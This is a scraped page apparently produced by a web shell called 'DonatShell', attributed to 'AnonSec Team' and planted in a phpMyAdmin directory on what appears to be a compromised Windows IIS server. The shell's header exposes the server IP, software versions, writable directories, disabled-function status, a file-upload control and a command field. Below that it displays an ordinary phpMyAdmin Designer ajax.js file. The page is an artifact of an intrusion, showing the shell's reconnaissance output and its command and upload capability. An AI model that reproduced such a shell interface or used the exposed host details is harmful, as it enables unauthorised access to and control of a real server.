DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/phpMyAdmin/a/js/pmd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/phpMyAdmin/a/js/pmd/ajax.js
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 *
 * @package PhpMyAdmin-Designer
 */

/**
 *
 */
function makeRequest(url, parameters)
{
    var $msg = PMA_ajaxShowMessage();
    $.post(url, parameters, function (data) {
        PMA_ajaxRemoveMessage($msg);
        PrintXML(data);
    });
    return true;
}

/**
 *
 */
function PrintXML(data)
{
    var $root = $(data).find('root');
    if ($root.length == 0) {
        // error
        var myWin=window.open('','Report','width=400, height=250, resizable=1, scrollbars=1, status=1');
        var tmp = myWin.document;
        tmp.write(data);
        tmp.close();
    } else {
        // success
        if ($root.attr('act') == 'save_pos') {
            PMA_ajaxShowMessage($root.attr('return'));
        } else if ($root.attr('act') == 'relation_upd') {
            PMA_ajaxShowMessage($root.attr('return'));
            if ($root.attr('b') == '1') {
                contr.splice($root.attr('K'), 1);
                Re_load();
            }
        } else if ($root.attr('act') == 'relation_new') {
            PMA_ajaxShowMessage($root.attr('return'));
            if ($root.attr('b') == '1') {
                var i  = contr.length;
                var t1 = $root.attr('DB1') + '.' + $root.attr('T1');
                var f1 = $root.attr('F1');
                var t2 = $root.attr('DB2') + '.' + $root.attr('T2');
                var f2 = $root.attr('F2');
                contr[i] = [];
                contr[i][''] = [];
                contr[i][''][t2] = [];
                contr[i][''][t2][f2] = [];
                contr[i][''][t2][f2][0] = t1;
                contr[i][''][t2][f2][1] = f1;
                Re_load();
            }
        }
    }
}

Anon7 - 2022
AnonSec Team